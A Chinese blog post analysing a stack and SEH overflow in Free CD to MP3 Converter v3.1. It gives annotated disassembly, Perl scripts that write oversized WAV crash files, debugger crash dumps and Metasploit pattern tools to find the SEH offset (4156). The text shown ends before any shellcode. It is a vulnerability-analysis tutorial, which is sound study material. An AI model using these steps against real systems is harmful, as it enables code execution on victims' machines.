标题:Free CD to MP3 Converter v3.1 栈溢出漏洞分析与利用
作者:riusksk(泉哥)
主页:http://riusksk.blogbus.com
前言
前些天在exploit-db上看到此漏洞公告,刚好也有提供漏洞软件的下载,于是就下载下来分析分析,并自己动手写了写exploit,在虚拟机xp sp3下已经测试成功。以前也没有写过关于溢出漏洞分析的文章,今刚好碰到周末,就自己动手分析了下漏洞成因,因此也就有了本文。本文分析的软件是Free CD to MP3 Converter v3.1, 它是一款将CD音频提取出来并压缩成MP3格式的软件。该软件在读取本地文件时未验证其内容大小,从而导致在将文件内容保存到局部变量时可引发溢出,进而覆盖返回地址以及SEH结构,恶意用户通过构造特定文件即可执行任意代码。
漏洞分析
在ReadFile上下断后,经过多次调试,最终找到了漏洞函数sub_4AC138,其在IDA下的反汇编代码如下:
CODE:004AC138 sub_4AC138 proc near ; CODE XREF: sub_4AA590+50 p
CODE:004AC138 ; sub_4AA590+26B p
CODE:004AC138
CODE:004AC138 var_1024 = dword ptr -1024h
CODE:004AC138 var_1020 = dword ptr -1020h
CODE:004AC138 var_101C = word ptr -101Ch
CODE:004AC138 var_1018 = dword ptr -1018h
CODE:004AC138 var_1014 = dword ptr -1014h
CODE:004AC138 var_1010 = dword ptr -1010h ;读取文件内容后就是从这一局部变量开始保存的,通过这里就可以确定函数分配的栈空间大小为1010h,即4112字节,因为栈空间是由高到低分配的,所以要覆盖到返回地址就要填充4112字节才行。
CODE:004AC138
CODE:004AC138 push ebx
CODE:004AC139 push esi
CODE:004AC13A push edi
CODE:004AC13B push ebp
CODE:004AC13C add esp, 0FFFFF004h ; 分配栈空间
CODE:004AC142 push eax
CODE:004AC143 add esp, 0FFFFFFF4h ; 继续分配栈空间
CODE:004AC146 mov esi, eax
CODE:004AC148 mov byte ptr [esi+407Ch], 0
CODE:004AC14F xor edi, edi
CODE:004AC151 mov ebx, 4
CODE:004AC156 lea edx, [esp+101Ch+var_1010] ; 将edx指向局部变量,后面将用它来保存读取的文件内容,即我们构造的文件内容将会填充到栈空间
CODE:004AC15A mov ecx, 4
CODE:004AC15F mov eax, [esi+44h]
CODE:004AC162 mov ebp, [eax]
CODE:004AC164 call _ReadWavFile ;用于读取文件内容
{
0041EC54 . 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4]
0041EC57 . E8 F4A7FEFF CALL <cdextrac._MyReadFile>
{
00409450 >/$ 53 PUSH EBX
00409451 |. 56 PUSH ESI
00409452 |. 57 PUSH EDI
00409453 |. 51 PUSH ECX
00409454 |. 8BF9 MOV EDI,ECX
00409456 |. 8BF2 MOV ESI,EDX
00409458 |. 8BD8 MOV EBX,EAX
0040945A |. 6A 00 PUSH 0 ; /pOverlapped = NULL
0040945C |. 8D4424 04 LEA EAX,DWORD PTR SS:[ESP+4] ; |
00409460 |. 50 PUSH EAX ; |pBytesRead
00409461 |. 57 PUSH EDI ; |BytesToRead
00409462 |. 56 PUSH ESI ; |Buffer
00409463 |. 53 PUSH EBX ; |hFile
00409464 |. E8 23DBFFFF CALL <JMP.&kernel32.ReadFile> ; \ReadFile,读取文件内容并将其保存在漏洞函数的局部变量中
00409469 |. 85C0 TEST EAX,EAX
0040946B |. 75 07 JNZ SHORT cdextrac.00409474
0040946D |. C70424 FFFFFF>MOV DWORD PTR SS:[ESP],-1
00409474 |> 8B0424 MOV EAX,DWORD PTR SS:[ESP]
00409477 |. 5A POP EDX
00409478 |. 5F POP EDI
00409479 |. 5E POP ESI
0040947A |. 5B POP EBX
0040947B \. C3 RETN
}
0041EC5C . 83F8 FF CMP EAX,-1
0041EC5F . 75 02 JNZ SHORT cdextrac.0041EC63
0041EC61 . 33C0 XOR EAX,EAX
0041EC63 > C3 RETN
}
CODE:004AC167 cmp ebx, 2000h ; 作为计数器
CODE:004AC16D jge loc_4AC624 ; 跳走则函数结束
CODE:004AC173
CODE:004AC173 loc_4AC173: ; CODE XREF: sub_4AC138+4E6 j
CODE:004AC173 mov eax, edi
CODE:004AC175 cmp eax, 4 ; switch 5 cases
CODE:004AC178 ja loc_4AC5F4 ; default
CODE:004AC17E jmp off_4AC185[eax*4] ; switch jump,判断是哪一文件部分,如RIFF,WAVE,FMT,DATA等等,然后跳至相应位置进行处理,由于文件全部用A来填充,因此文件处理均在RIFF部分中进行
CODE:004AC17E ; ---------------------------------------------------------------------------
CODE:004AC185 off_4AC185 dd offset loc_4AC199 ; DATA XREF: sub_4AC138+46 r
CODE:004AC185 dd offset loc_4AC1E0 ; jump table for switch statement
CODE:004AC185 dd offset loc_4AC227
CODE:004AC185 dd offset loc_4AC467
CODE:004AC185 dd offset loc_4AC55B
CODE:004AC199 ; ---------------------------------------------------------------------------
CODE:004AC199
CODE:004AC199 loc_4AC199: ; CODE XREF: sub_4AC138+46 j
CODE:004AC199 ; DATA XREF: sub_4AC138:off_4AC185 o
CODE:004AC199 mov edx, offset aRiff_0 ; jumptable 004AC17E case 0,资源交换文件标志(RIFF)
CODE:004AC19E lea eax, [esp+ebx+101Ch+var_1014]
CODE:004AC1A2 call sub_4AA4F4
CODE:004AC1A7 test al, al
CODE:004AC1A9 jnz short loc_4AC1C2
CODE:004AC1AB lea edx, [esp+ebx+101Ch+var_1010] ; 局部变量,从栈顶开始向栈底填充文件内容
CODE:004AC1AF mov ecx, 1
CODE:004AC1B4 mov eax, [esi+44h]
CODE:004AC1B7 mov ebp, [eax]
CODE:004AC1B9 call _ReadWavFile ; 读取文件内容
CODE:004AC1BC inc ebx ;递增计数器
CODE:004AC1BD jmp loc_4AC5F4 ; default
……省略部分代码……
CODE:004AC5F4
CODE:004AC5F4 loc_4AC5F4: ; CODE XREF: sub_4AC138+40 j
CODE:004AC5F4 ; sub_4AC138+85 j ...
CODE:004AC5F4 mov eax, [esi+44h] ; default
CODE:004AC5F7 mov edx, [eax]
CODE:004AC5F9 call dword ptr [edx]
CODE:004AC5FB push edx
CODE:004AC5FC push eax
CODE:004AC5FD mov eax, [esi+44h]
CODE:004AC600 call @Classes@TStream@GetPosition$qqrv ; Classes::TStream::GetPosition(void)
CODE:004AC605 cmp edx, [esp+1024h+var_1020]
CODE:004AC609 jnz short loc_4AC614
CODE:004AC60B cmp eax, [esp+1024h+var_1024]
CODE:004AC60E pop edx
CODE:004AC60F pop eax
CODE:004AC610 jb short loc_4AC618
CODE:004AC612 jmp short loc_4AC624
CODE:004AC614 ; ---------------------------------------------------------------------------
CODE:004AC614
CODE:004AC614 loc_4AC614: ; CODE XREF: sub_4AC138+4D1 j
CODE:004AC614 pop edx
CODE:004AC615 pop eax
CODE:004AC616 jge short loc_4AC624
CODE:004AC618
CODE:004AC618 loc_4AC618: ; CODE XREF: sub_4AC138+4D8 j
CODE:004AC618 cmp ebx, 2000h ;计数器,循环读取文件,第一次是读取4字节,之后都是一字节一字节地读取,故共可读取2003h > 1010h,最终导致溢出!!!
CODE:004AC61E jl loc_4AC173 ;若小于2000h则跳至上方实现循环操作
CODE:004AC624
CODE:004AC624 loc_4AC624: ; CODE XREF: sub_4AC138+35 j
CODE:004AC624 ; sub_4AC138+4DA j ...
CODE:004AC624 mov byte ptr [esi+407Ch], 0
CODE:004AC62B
CODE:004AC62B loc_4AC62B: ; CODE XREF: sub_4AC138+1BE j
CODE:004AC62B ; sub_4AC138+4BA j
CODE:004AC62B add esp, 100Ch
CODE:004AC631 pop ebp
CODE:004AC632 pop edi
CODE:004AC633 pop esi
CODE:004AC634 pop ebx
CODE:004AC635 retn
CODE:004AC635 sub_4AC138 endp
my $junk = 'A' x 5000;
open($fp,">crash.wav");
print $fp $junk;
close $fp;
(1254.1404): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=41414141 ecx=00001388 edx=00001388 esi=41414141 edi=41414141
eip=41414141 esp=0012fab0 ebp=41414141 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206
41414141 ?? ???
0:000> !exchain
0012fad8: 41414141
Invalid exception stack at 41414141
=[ metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 566 exploits - 283 auxiliary
+ -- --=[ 210 payloads - 27 encoders - 8 nops
=[ svn r9834 updated 124 days ago (2010.07.14)
msf > cd tools
msf > pwd
[*] exec: pwd
/msf3/tools
msf > ruby pattern_create.rb 5000
[*] exec: ruby pattern_create.rb 5000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8……省略部分内容……f3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk
my $junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8……省略部分内容……f3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk';
open($fp,">crash.wav");
print $fp $junk;
close $fp;
(13e4.11ac): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=68463967 ecx=00001388 edx=00001388 esi=46386746 edi=37674636
eip=31684630 esp=0012fab0 ebp=67463567 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00010206
31684630 ?? ???
0:000> !exchain
0012fad8: 37694636 <= SEH Handle
Invalid exception stack at 69463569 <= next SEH
msf > ruby pattern_offset.rb 0x69463569 5000
[*] exec: ruby pattern_offset.rb 0x69463569 5000
4156
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!
上传的附件: